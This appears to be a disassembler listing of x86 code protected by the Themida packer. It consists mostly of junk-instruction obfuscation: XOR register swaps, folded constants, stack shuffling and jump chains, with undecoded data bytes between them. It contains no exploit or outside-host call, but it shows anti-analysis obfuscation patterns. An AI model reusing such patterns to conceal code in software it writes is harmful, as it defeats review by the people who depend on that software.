		sub	dword ptr [esp+4], 72597F20h
		sub	[esp+4], esi
		add	dword ptr [esp+4], 72597F20h
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		push	esi
		jmp	loc_5E0A1E
; ---------------------------------------------------------------------------
		db 1, 0CDh, 81h
		dd 136920C5h, 240C8B1Ch, 4C481h, 1E90000h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DDE57:				; CODE XREF: Themida_:005DFB5Aj
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_5DF3DF
; ---------------------------------------------------------------------------
		dw 575Dh
		dd 8B273DBFh, 68170506h, 0F8297638h, 653EE955h,	81590000h
		dd 78F6EBh, 81C30138h, 78F6C3h,	93C38138h, 562E7A62h, 9255E2BEh
		dd 52C3812Ah, 179EE61h,	52EB81F3h, 8B79EE61h, 73E92434h
		dd 54000011h, 0C88E9h, 35DCBD00h, 0EE890D86h, 83242C8Bh
		dd 0D6F704C4h, 5B02E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DDEC1:				; CODE XREF: Themida_:005E3C7Dj
		add	edi, ebx
		jmp	loc_5E65BF
; ---------------------------------------------------------------------------


loc_5DDEC8:				; CODE XREF: Themida_:005E3DD2j
		push	685C660Ah
		pop	esi
		not	esi
		inc	esi
		dec	esi
		sub	esi, 97A399F1h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esi, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5E0682
; ---------------------------------------------------------------------------
		dw 0C4FEh
		dd 0F480D4F6h, 58E330DBh, 80E2F380h, 0B9E91CF3h, 68000082h
		dd 36C6h, 3CE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DDF25:				; CODE XREF: Themida_:005E46CCj
		mov	edx, 53402E52h
		shl	edx, 2
		xor	edx, 86897BA3h
		add	esi, edx
		jmp	loc_5E2C0C
; ---------------------------------------------------------------------------


loc_5DDF3A:				; CODE XREF: Themida_:005DF9E8j
		shr	eax, 2
		inc	eax
		jmp	loc_5E0519
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FFC80100h, 68592434h,	1470h, 0E9240489h, 6B38h
; ---------------------------------------------------------------------------


loc_5DDF5C:				; CODE XREF: Themida_:005E3F92j
		add	esi, eax
		jmp	loc_5E02B2
; ---------------------------------------------------------------------------
		db 51h
		dd 0C04CB652h, 0F68006E6h, 53EE805Ch, 0E9A3C680h, 0AF80h
		dd 1E24C781h, 0C181B39Ch, 1F8200D2h, 0E981F929h, 1F8200D2h
		dd 1C1815Fh, 15FEB49h, 1BB53D1h, 295FEB49h, 0BFE95BD9h
		dd 89000033h, 30B22414h, 86E9DAF6h, 57000001h, 0B951E789h
		dd 33E15A69h, 6E65E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DDFBE:				; CODE XREF: Themida_:005E255Ej
		mov	[esp], eax
		push	ebx
		jmp	loc_5E254A
; ---------------------------------------------------------------------------
		db 50h
		dd 0E13D28B8h, 5E0C136h, 9BBBE9h, 0E992B000h, 5A5Ah, 0FE7ABC2Dh
		dd 83D0297Fh, 0EEE904ECh, 8300001Eh, 0BF5704C4h, 4, 1799E981h
		dd 0F7E97A7Fh, 52000094h, 0F3882DB6h, 8324148Bh, 2CE904C4h
		dd 33000073h, 34312434h, 24343324h, 2434FF5Ch, 0E924048Bh
		dd 4423h
; ---------------------------------------------------------------------------


loc_5DE024:				; CODE XREF: Themida_:005E1B7Ej
		sub	eax, 4648653Ah
		jmp	loc_5E8469
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0F7000000h, 23E952D5h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE03F:				; CODE XREF: Themida_:005E02E4j
		mov	[esp], edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5E379C
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 24048B1Ch, 263468h, 24148900h, 0F8E9E289h, 5D00004Ah
		dd 5941E581h, 0E5C1524Bh, 5D16808h, 4890000h, 38C8B824h
		dd 0C5317414h, 9752E958h, 0D2F70000h, 0CA97EA81h, 0D3299064h
		dd 4CED815Ah, 0E953A222h, 557h,	5B23BA52h, 22E95015h, 100007Bh
		dd 0FF555AD5h, 0FF042474h, 835D2434h, 48F04C4h,	0F665C24h
		dd 0F3E9C8B6h, 8B000084h, 0C483243Ch, 6EFAE904h, 8F5B0000h
		dd 248B2404h, 24042824h, 0FAE4E99Ch, 0C481FFFFh, 4, 0A008E9h
		dd 1ADABA00h, 0F2817546h, 0FE95910h, 60D2E9h, 43B15100h
		dd 8059CF88h, 0C78081CFh, 957DE981h, 53AC0000h,	0EF808CB7h
		dd 4EC81F1h, 89000000h,	8B62414h, 665AF730h, 0FEFA8852h
		dd 66D788CAh, 8324148Bh, 516602C4h, 0CF308FB1h,	8348E9h
		dd 90F28000h, 0DAF6DAF6h, 531DCA80h, 0DA3040B3h, 5AD0285Bh
		dd 4EC81h, 14890000h, 6628B624h, 205EB353h, 0E95B66DEh
		dd 0A66Dh, 3158C289h, 24148BD5h, 157E9h, 241C8700h, 16EEE9h
		dd 9DC68100h, 194DF86h,	0B1E95EF3h, 68000043h, 63Ch, 5376E9h
		dd 4C48100h, 51000000h,	0C1815954h, 4, 5104C183h, 42474FFh
		dd 24048F59h, 0E924248Bh, 0ADAFh, 8704C083h, 0E95C2404h
		dd 23FFh, 0ED81D5F7h, 75BEAC3Ch, 565DE921h, 987E69BEh
		dd 0F6814633h, 233A126Bh, 0EE81D6F7h, 0FFFFFFFFh, 4CFBE9h
		dd 52C9FE00h, 0E6C0A0B6h, 55C68005h, 0E2E9F128h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE1F3:				; CODE XREF: Themida_:005DE929j
		pop	edx
		jmp	loc_5E0EEF
; ---------------------------------------------------------------------------
		dd offset aSCannotSendPin+4
		align 2
		dw 8F54h
		dd 4812404h, 424h, 4055800h, 55000000h,	2BDh, 5DE80100h
		dd 2474FF50h, 24048B04h, 4C481h, 57E90000h, 5500007Fh
		dd 78B0E9h, 0FFCF3000h,	52E92434h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE23B:				; CODE XREF: Themida_:005E17ADj
		pop	esi
		mov	ebx, ecx
		pop	ecx
		add	ebx, edx
		add	eax, [ebx]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5DFEE1
; ---------------------------------------------------------------------------


loc_5DE257:				; CODE XREF: Themida_:005E34F5j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		jmp	loc_5E4374
; ---------------------------------------------------------------------------
		db 0D1h, 0EEh, 0C1h
		dd 0EE8104EEh, 228A591h, 215CE9h, 0DDE94A00h, 0FF000089h
		dd 565A2434h, 4DE9E689h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE297:				; CODE XREF: Themida_:005E0E1Cj
		sub	bl, 53h
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	5D98h
		mov	[esp], eax
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0FBh
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE2B3:				; CODE XREF: Themida_:005E437Bj
		add	edi, 4
		push	eax
		mov	eax, 92649E8h
		jmp	loc_5E5687
; ---------------------------------------------------------------------------
		dd 0E83E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE2CA:				; CODE XREF: Themida_:005E17FDj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5E88C9
; ---------------------------------------------------------------------------
		db 30h
		dd 0B2525AD5h, 68D2F63Dh, 0
		dd 8A241428h, 0C4832414h, 0A7C28004h, 0B450D2F6h, 9AFBE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE2FA:				; CODE XREF: Themida_:005E1348j
		add	al, dh
		add	al, 0A2h
		pop	edx
		add	al, 0E5h
		jmp	loc_5E4BF7
; ---------------------------------------------------------------------------


loc_5DE306:				; CODE XREF: Themida_:005DF564j
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	bl, 0F9h
		add	bl, al
		sub	bl, 0F9h
		mov	ax, [esp]
		jmp	loc_5E0E17
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 27h
		dd 51047544h, 2B1D41B9h, 0B2C1810Ah, 817E855Fh,	76261BF1h
		dd 79F1812Bh, 816E8626h, 72A8F1E9h, 4492E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE346:				; CODE XREF: Themida_:005DEB84j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	2AC512E1h
		jmp	loc_5DFD67
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 14895C24h,	4EC8124h
		dd 89000000h, 0B9B82404h, 0E97FA370h, 0FFFFFDD8h, 2BB53h
		dd 0D8010000h, 88DDE95Bh, 40B90000h, 0BF74642Dh, 8B9BD2C2h
		dd 61E9CF01h, 6Ah, 0E95B66DEh, 9DFCh
; ---------------------------------------------------------------------------


loc_5DE3B0:				; CODE XREF: Themida_:005E1B39j
		pop	esp
		push	5D02h
		mov	[esp], esi
		push	118Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	4B78h
		jmp	loc_5E567F
; ---------------------------------------------------------------------------
		dw 148Bh
aSib		db '$驡',0
		align 2
aSsd		db '[d',0
		align 4


loc_5DE3E4:				; CODE XREF: Themida_:005E8437j
		sub	ebp, 32720F19h
		add	ebp, edi
		add	ebp, 32720F19h
		jmp	loc_5E34C4
; ---------------------------------------------------------------------------
		db 80h
		dd 0DD003CEDh, 803CC580h, 8B6618EDh, 0F3E9241Ch, 5C00001Dh
		dd 5C243487h, 3BA3E9h, 24148B00h, 4C481h, 68590000h, 500Eh
		dd 0BA241489h, 0C4C513Bh, 8908E9h, 24048700h, 8924248Bh
		dd 0E389241Ch, 4C381h, 0C3810000h, 4, 0B28EE9h,	24248B00h
		dd 2896664h, 0AC84E9h, 5AD03100h, 626DEB81h, 0D1E93552h
		dd 5F000023h, 4C481h, 4BE90000h, 0BEFFFFF7h, 0C235FBh
		dd 0E95EF231h, 0B49h, 2474FF53h, 241C8B04h, 35A6E9h, 0F72CE900h
		dd 0E95CFFFFh, 5AFFh, 24048F5Eh, 2C7815Ch, 87000000h, 248B243Ch
		dd 48B6624h, 5D3B6824h,	34890000h, 623C6824h, 0CAE90000h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE4BF:				; CODE XREF: Themida_:005DFF95j
		push	edi
		mov	edi, 5E23150Ch
		mov	eax, 0C06868D2h
		add	eax, edi
		pop	edi
		mov	ebx, 5462AA29h
		sub	ebx, eax
		jmp	loc_5E92F9
; ---------------------------------------------------------------------------
aBiZtsE		db '^ZT鷅',0
		align 4
		dd 8704EF83h, 895C243Ch, 0E6892434h, 299BB951h,	0E1C169D3h
		dd 64F18105h, 0E93A6533h, 1937h, 90E9E589h, 55000089h
		dd 221C68h, 240C8900h, 4524E9h,	1AC38100h, 571AFC3Eh, 5075B6BFh
		dd 32E7811Dh, 81662429h, 7B548DF7h, 3EFC105h, 48C8E9h
		dd 0E9D5F700h, 6A13h, 667DCF81h, 0EFC1279Eh, 14F75707h
		dd 243C8B24h, 4704C483h, 668CB951h, 0CF31A144h,	2EC5E959h
		dd 77FF0000h, 59669D1Ch, 2414D366h, 0F64CE99Ch,	8B56FFFFh
		dd 8957240Ch, 4C781E7h,	81000000h, 4C7h, 67EBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE58A:				; CODE XREF: Themida_:005DFA01j
		neg	edx
		xor	edx, 484E7080h
		add	edx, edi
		push	dword ptr [edx]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5E7EDF
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FFF60DE9h, 80C328FFh,	525046EBh
		dd 0F48855B6h, 4220E95Ah, 0C6010000h, 7BF68158h, 536EEB63h
		dd 0FA71F8BBh, 5BDE2158h, 0B1F6E9h, 24043300h, 33240431h
		dd 248B2404h, 48B6624h,	26E95224h, 10000A3h, 4CC581DDh
		dd 0E953A222h, 60F8h, 0F780DFF6h, 0FD885163h, 88E88850h
		dd 19E958C6h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE60F:				; CODE XREF: Themida_:005E053Cj
		pop	ebx
		add	ebx, edx
		pop	edx
		pop	dword ptr [eax]
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		dw 6625h
		dd 2D26BF78h, 0DFF2E2FEh, 0C158C501h, 0E94503E5h, 0FFFFFB8Ch
		dd 0E932FF66h, 0FFFFF586h, 0A15AB4B9h, 5E9C112h, 6E42E9h
		dd 0F7D8F700h, 501A25D0h, 6C050A18h, 53C2F21h, 3A112E9Dh
		dd 75663635h, 58C12961h, 5B2434FFh, 56E08950h, 90E2FBEh
		dd 0EE814654h, 0EF45B71h, 0FFFBFCE9h, 5ABF57FFh, 0F7438435h
		dd 98C781DFh, 31B56C36h, 0E685FFAh, 89000025h, 10E9243Ch
		dd 0FF00008Ch, 0C8E92434h, 58FFFFFDh, 0E9243C8Bh, 0A50Fh
		dd 80C5814Dh, 29E9E8CDh, 3FA5E9EEh, 0C2810000h,	49F475EAh
		dd 0EA81CA29h, 49F475EAh, 0E92434FFh, 1F13h
; ---------------------------------------------------------------------------


loc_5DE6CC:				; CODE XREF: Themida_:005DFE22j
		mov	edx, esp
		push	ebp
		mov	ebp, 612A68D5h
		not	ebp
		dec	ebp
		xor	ebp, 1EC53FE4h
		xor	ebp, 8010A8C9h
		push	eax
		jmp	loc_5DF9E3
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C581E589h, 4, 3828E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DE6F9:				; CODE XREF: Themida_:005E08ACj
		add	esp, 4
		jmp	loc_5E681E
; ---------------------------------------------------------------------------
aZSV		db '<$\V',0
		dd 240C8900h, 0EC81B4B1h, 2, 24148966h,	0F1206EB6h, 24148B66h
		dd 2C481h, 51660000h, 160AE9h, 0C685900h, 89000026h, 0E2892414h
		dd 4C281h, 0B8500000h, 4, 3B84C281h, 0C2810C17h, 18A5334Eh
		dd 0EA81C201h, 18A5334Eh, 3B84EA81h, 48B0C17h, 4C48324h
		dd 8B241487h, 4F092424h, 240C8B1Ch, 4C481h, 6DE90000h
		dd 55000003h, 43E8E9h, 4E7C100h, 0E400C781h, 0F92156FFh
		dd 0E9243C8Bh, 0B3E2h, 0F67EF780h, 8EF80D7h, 4442E9h, 0FCED8100h
		dd 0E990023Fh, 0A37Ah, 6DA1685Eh, 0C890000h, 725FB924h
		dd 0BA524102h, 515A3CF2h, 0E95AD129h, 7E13h
; ---------------------------------------------------------------------------


loc_5DE7CC:				; CODE XREF: Themida_:005E59B8j
		add	ebp, 4
		jmp	loc_5E4752
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0AFE95300h, 81000066h,	4C4h, 0E9C80100h, 26B0h
; ---------------------------------------------------------------------------


loc_5DE7F0:				; CODE XREF: Themida_:005E0A23j
		add	edi, esi
		pop	esi
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_5E59B5
; ---------------------------------------------------------------------------
		db 30h,	0D0h, 0FFh
		dd 835A2434h, 0C33004C4h, 0FFC0B60Fh, 51558734h, 0A231B9B9h
		dd 0E9CD8927h, 40EFh
; ---------------------------------------------------------------------------


loc_5DE81C:				; CODE XREF: Themida_:005E8B03j
		mov	eax, 6E16981h
		dec	eax
		jmp	loc_5E0CFA
; ---------------------------------------------------------------------------
aFiFMFIfFbijSm	db 'f,$fm',9,'f!f]fJ',9,'M',27h,0
		align 2
		dw 0C89h
		dd 51746824h, 0DFE93511h, 59000075h, 1FAAEE81h,	0EE2966A2h
		dd 1FAAC681h, 0EE8166A2h, 53745BDEh, 104CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DE865:				; CODE XREF: Themida_:005E89E6j
		push	edi
		mov	edi, 1F5CF7DFh
		xor	ebx, edi
		jmp	loc_5E25F6
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 606DB924h, 0E1C103C3h, 603FE907h, 0C4810000h, 4, 348BF029h
		dd 4C48324h, 3705D801h,	5271CA7Dh, 9F15E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DE89D:				; CODE XREF: Themida_:005E1443j
		push	2729h
		jmp	loc_5E6F27
; ---------------------------------------------------------------------------


loc_5DE8A7:				; CODE XREF: Themida_:005DF225j
		push	ebp
		sub	esp, 4
		jmp	loc_5DF5DC
; ---------------------------------------------------------------------------


loc_5DE8B3:				; CODE XREF: Themida_:005E6DF6j
		pop	eax
		jmp	loc_5E3160
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSr		db '$R^',0
		align 2
		dw 0FB01h
		dd 241C875Fh, 0B30F665Ch, 0E99C2404h, 0FFFFF2EAh
; ---------------------------------------------------------------------------


loc_5DE8D4:				; CODE XREF: Themida_:005E379Ej
		pop	ebx
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_5E0C3C
; ---------------------------------------------------------------------------
aI4Tsmu		db '4$TU',0
		align 4
		dd 2404895Ch, 1A57E951h, 6C010000h, 1FE90424h, 3100009Bh
		dd 0C33240Ch, 240C3124h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	edx
		mov	edx, 31C716Ch
		mov	ebp, 0BD243DDh
		xor	ebp, edx
		jmp	loc_5DE1F3
; ---------------------------------------------------------------------------
		dw 0A12Dh
		dd 296E8616h, 0A1BD55E8h, 16E8616h, 2C8B5DE8h, 4C48324h
		dd 8B240487h, 0C892424h, 0C8B5024h, 0E6895624h,	0B1FBE9h
		dd 28F6600h, 0FFF25DE9h, 0EA815FFFh, 0F6C2072h,	41E9DA01h
		dd 30000004h, 701EE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE976:				; CODE XREF: Themida_:005E38DAj
		add	ecx, 0BD8B2636h
		sub	edx, ecx
		pop	ecx
		pop	edi
		jmp	loc_5E42D7
; ---------------------------------------------------------------------------


loc_5DE985:				; CODE XREF: Themida_:005E7572j
		pop	ecx
		or	eax, eax
		jz	loc_5E1C88
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5E84D1
; ---------------------------------------------------------------------------


loc_5DE9A3:				; CODE XREF: Themida_:005E3F0Dj
		shr	ecx, 0Bh
		push	ecx
		jmp	loc_5E29AC
; ---------------------------------------------------------------------------
a@nB		db '^@N|',0
		dd 0F74F2601h, 99EF81DFh, 94DA8A9h, 0E6815FFEh,	3CFA1113h
		dd 8102E6C1h, 17BC00C6h, 6FC1813Ch, 1065677h, 175DE9F1h
		dd 34330000h, 7E95C24h,	68000066h, 574Eh, 81242489h, 42404h
		dd 685E0000h, 4FC1h, 3E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DEA01:				; CODE XREF: Themida_:005E5299j
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		jmp	loc_5E5463
; ---------------------------------------------------------------------------
		db 89h
		dd 0D8882404h, 0D3F6D886h, 0C388D886h, 4196E9h,	0C8B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 1377256Ch
		add	esi, 0F68245Ah
		push	15B0h
		mov	[esp], ebx
		mov	ebx, 0
		sub	ebx, esi
		mov	esi, ebx
		pop	ebx
		add	esi, 1F6F7CCBh
		inc	esi
		xor	esi, 0FC903304h
		push	edx
		mov	edx, 3E982F53h
		xor	edx, 7F993F4Fh
		and	edx, 24F24FE1h
		add	edx, 542A0446h
		inc	edx
		jmp	loc_5E9AE5
; ---------------------------------------------------------------------------
aB_nqos0	db '_NqO0',0
		align 2
		dw 0C483h
		dd 0AED0E904h, 2D400000h, 39267846h, 746168h, 243C8900h
		dd 2F3E3EBFh, 5FF831FAh, 1AC9C181h, 0E9814418h,	4A32646Dh
		dd 9058E9h, 242C8900h, 0D26286BDh, 1B94E971h, 57680000h
		dd 89000011h, 0E0892404h, 4BA52h, 0D0010000h, 8BBF575Ah
		dd 0F709910Eh, 1CF757DFh, 6D58E924h, 54560000h,	0E924348Bh
		dd 820Ah, 0FFF0CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DEAF1:				; CODE XREF: Themida_:005E8992j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1CAFh
		mov	[esp], ebp
		jmp	loc_5E06F4
; ---------------------------------------------------------------------------


loc_5DEB08:				; CODE XREF: Themida_:005E87F1j
		mov	ah, 55h
		add	bl, ah
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_5DDD16
; ---------------------------------------------------------------------------


loc_5DEB18:				; CODE XREF: Themida_:005E5B3Bj
		pop	eax
		add	edx, ecx
		add	edx, 7BC576E5h
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5E0105
; ---------------------------------------------------------------------------
aSkn		db '^N',0
		dw 100h
		dd 243C8BF9h, 0E904C483h, 2B1Bh, 0BEB95156h, 68701C43h
		dd 1C00h, 0BB241C89h, 5BD14338h, 3ABA0EBEh, 0FFDE29F2h
		dd 815B2434h, 4C4h, 6E14E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DEB72:				; CODE XREF: Themida_:005DEE58j
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5DE346
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 3D52E904h, 27E90000h, 1FFFFF0h, 0C5835AD5h, 0A1F0E904h
		dd 0BCBB0000h, 81109B06h, 1E2175E3h, 0DEE38155h, 4B467849h
		dd 503E381h, 0E3C11B3Fh, 96F38108h, 9093861h, 564F5BDFh
		dd 463A06BEh, 5EF70911h, 12A8CF81h, 81474384h, 3F50EFEFh
		dd 5FFE8922h, 4E7BD55h,	0EDC127D0h, 18C58102h, 0E962FD32h
		dd 0FFFFF05Fh, 43397968h, 0D2F75A43h, 0EA9CA81h, 0F2815656h
		dd 0F641F351h, 148BD589h, 4C48124h, 81000000h, 2B0641F5h
		dd 9B21E936h, 0F8010000h, 81DDE95Fh, 148B0000h,	43DA6824h
		dd 14890000h, 8989E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DEC36:				; CODE XREF: Themida_:005E5979j
		sub	ecx, 0FB4ED1FEh
		or	ecx, 7DCB1A9Fh
		xor	ecx, 2BBF57E0h
		push	edx
		push	edi
		mov	edi, 61536192h
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		pop	edi
		neg	edx
		not	edx
		sub	edx, 3C17ECB8h
		and	ecx, edx
		pop	edx
		jmp	loc_5E485E
; ---------------------------------------------------------------------------
		dd 3D52EB81h, 0F3294AB2h, 3D52C381h, 835E4AB2h,	0C8904ECh
		dd 3201B924h, 0F7E950C8h, 0F6000026h, 0E99C241Ch, 0FFFFEF2Eh
		dd 0F724248Bh, 0A524E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DEC9A:				; CODE XREF: Themida_:005E631Ej
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5E3467
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 3EC31C81h, 1B46BB53h, 0DF314184h, 2E57E95Bh,	0D8010000h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5E95AB
; ---------------------------------------------------------------------------
		dd offset dword_455248+21920h
		dw 8900h
		dd 78E92414h, 59000046h, 0FFF822E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DECE9:				; CODE XREF: Themida_:005E520Ej
		xchg	edi, [esp]
		jmp	loc_5DF72A
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 31243C33h, 3C33243Ch, 24248B24h, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 0E9240431h, 0FFFFEEA6h, 68D831ADh, 4448h
		dd 0E9242C89h, 9D36h, 4BE565Fh,	1000000h, 92BFE9F0h, 0BB530000h
		dd 441413C8h, 39D0E381h, 0F74B52B1h, 16EB81D3h,	1626B80h
		dd 50E95BD9h, 100004Ah,	0E9555EF0h, 91EFh, 42474FFh, 24048F59h
		dd 24048F5Ch, 2CD3665Ch, 4BE99C24h, 81FFFFEEh, 0DB77D0F3h
		dd 0E9DA0151h, 1D1Fh, 48BC131h,	0F1B9E924h, 0C483FFFFh
		dd 59662D04h, 0D8015913h, 497968h, 242C8900h, 0B70E6BDh
		dd 0E5C14521h, 9AED8108h, 0E9B25D8Dh, 45D0h, 2072C281h
		dd 0C2810F6Ch, 55E4339Ah, 160C685Bh, 14890000h,	3EF8E924h
		dd 14890000h, 3EB95124h, 89710C6Bh, 0EE959CAh, 5B000015h
		dd 4DB65266h, 7CE9CEFEh, 89FFFFF1h, 0E8E9243Ch,	83000006h
		dd 0C8704C1h, 0CB805C24h, 0FFEB8082h, 0F6E7B450h, 0E9D4F6DCh
		dd 0FFFFF0FEh
; ---------------------------------------------------------------------------


loc_5DEE08:				; CODE XREF: Themida_:005E578Fj
		pop	edx
		mov	ch, bl
		pop	ebx
		jmp	loc_5DF852
; ---------------------------------------------------------------------------
aRsP		db 'R}p',0
		dw 5800h
		dd 8904EC83h, 4B9240Ch,	81000000h, 766D2CC7h, 81CF0107h
		dd 766D2CEFh, 13E95907h, 8B000029h, 0C4812404h,	4, 5C24048Fh
		dd 240C8966h, 51E4E9h, 0A7E95900h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DEE53:				; CODE XREF: Themida_:005E0939j
		push	edi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5DEB72
; ---------------------------------------------------------------------------


loc_5DEE5D:				; CODE XREF: Themida_:005E5CFEj
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		sub	ebp, 8C42448h
		add	ebp, ebx
		add	ebp, 8C42448h
		jmp	loc_5E2487
; ---------------------------------------------------------------------------
aWscs		db 'W',0
		dd 24048B00h, 51E68956h, 0BA29E2B9h, 4EC8130h, 0E9000000h
		dd 8DDCh, 68575259h, 7EC83D97h,	0E9243C8Bh, 144Fh, 0CAE9E989h
		dd 8300009Fh, 2C8702C5h, 24D25C24h, 0F7E99C24h,	57FFFFECh
		dd 7364C0BFh, 19E78121h, 0C179D86Eh, 0E7C104E7h, 4E7C102h
		dd 229EE9h, 841CBD00h, 2BE9513Dh, 890000A6h, 0E9512424h
		dd 858Fh, 4C481h, 0C4810000h, 4, 5524048Bh, 0E9525D54h
		dd 1583h, 4C481h, 0A7E90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DEF17:				; CODE XREF: Themida_:005E2552j
		add	esp, 4
		jmp	loc_5E6E74
; ---------------------------------------------------------------------------
		dw 0A2B0h
		dd 8058C530h, 0C580FFEDh, 59E800B0h, 797968h, 241C8900h
		dd 0EBC08BB3h, 6EF38007h, 8AE9D800h, 8F000026h,	665C2404h
		dd 2404AB0Fh, 0EC68E99Ch, 1433FFFFh, 24143124h,	8B241433h
		dd 0F7662424h, 4D6866E9h, 14896673h, 9C506624h,	0FFEC49E9h
		dd 4AB951FFh, 817B001Fh, 0BB16E3C1h, 6DACE904h,	8B660000h
		dd 54512404h, 843CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DEF91:				; CODE XREF: Themida_:005DFC72j
		push	ebx
		push	1282323Dh
		pop	ebx
		sub	ebx, 0D02F07EBh
		mov	ecx, ebx
		pop	ebx
		inc	ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, 70C4793Eh
		inc	ecx
		sub	ecx, 32975369h
		push	eax
		push	edx
		mov	edx, 2B647235h
		jmp	loc_5E5B30
; ---------------------------------------------------------------------------
		dw 895Dh
		dd 243C8BF8h, 3381E9h, 0DBB85000h, 8171C634h, 0ED2E6EEAh
		dd 81C20147h, 0ED2E6EC2h, 0EE815847h, 38FE3B32h, 87A2E9h
		dd 243C8900h, 0BB53E789h, 1BE92DE7h, 3B8CB951h,	0CB0109E2h
		dd 18CB8159h, 81423A16h, 48089C3h, 0E9DF0198h, 827h, 0F6EFF580h
		dd 947EE9DDh, 0C4830000h, 34E95804h, 0E9000034h, 0FFFFEB96h
		dd 2F3E942Dh, 0AD1BE974h, 0EB810000h, 1, 5707E3C1h, 0B328F6BFh
		dd 81EFD157h, 0F62FFEF7h, 5FFB31C4h, 93B9E9h, 240C8900h
		dd 0DE567CB9h, 5717E97Ah, 5F540000h, 7DE068h, 2C2BE900h
		dd 34FF0000h, 89505824h, 405E0h, 35E90000h, 81FFFFF1h
		dd 4C3h, 0BF575600h, 4B2C2F43h,	60E9FE89h, 0AC000081h
